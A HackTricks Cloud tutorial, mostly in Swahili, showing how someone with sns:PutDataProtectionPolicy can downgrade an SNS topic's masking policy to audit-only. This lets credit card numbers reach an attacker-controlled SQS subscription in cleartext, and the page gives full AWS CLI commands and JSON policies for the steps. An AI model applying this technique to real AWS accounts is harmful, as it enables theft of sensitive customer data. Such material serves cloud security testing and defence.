AWS - SNS Kupitwa kwa Message Data Protection kupitia Policy Downgrade
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ikiwa una sns:PutDataProtectionPolicy kwenye topic, unaweza kubadilisha sera yake ya Message Data Protection kutoka Deidentify/Deny kwenda Audit-only (au kuondoa Outbound controls) ili thamani zilizo nyeti (kwa mfano, nambari za kadi za mkopo) zitolewe kwa subscription yako bila mabadiliko.
Mahitaji
- Ruhusa kwenye topic lengwa ya kuita
sns:PutDataProtectionPolicy(na kawaidasns:Subscribeikiwa unataka kupokea data). - Standard SNS topic (Message Data Protection supported).
Hatua za Shambulio
- Vigezo
REGION=us-east-1
- Tengeneza topic ya kawaida na attacker SQS queue, na ruhusu topic hii pekee kutuma kwenye queue
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
- Ambatisha sera ya data protection inayoficha nambari za kadi za mkopo kwenye ujumbe unaotoka
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
- Subscribe attacker queue na chapisha ujumbe wenye nambari ya CC ya majaribio, thibitisha kufichwa
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Sehemu inayotarajiwa inaonyesha kufichwa (hashes):
"Message" : "payment:{cc:################}"
- Punguza sera kuwa audit-only (hakuna deidentify/deny statements zinazoathiri Outbound)
Kwa SNS, Audit statements lazima ziwe Inbound. Kubadilisha sera kwa Audit-only Inbound statement huondoa de-identification yoyote ya Outbound, hivyo ujumbe hufika kwa subscribers bila kubadilishwa.
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
- Chapisha ujumbe uleule na thibitisha kwamba thamani isiyofichwa imetumwa
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Sehemu inayotarajiwa inaonyesha CC wazi (cleartext):
4539894458086459
Athari
- Kubadilisha topic kutoka de-identification/deny hadi audit-only (au kwa kuondoa Outbound controls) kunaruhusu PII/secrets kupita bila mabadiliko kwa attacker-controlled subscriptions, na hivyo kuwezesha data exfiltration ambayo vingekuwa vimefichwa au kuzuiwa.
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud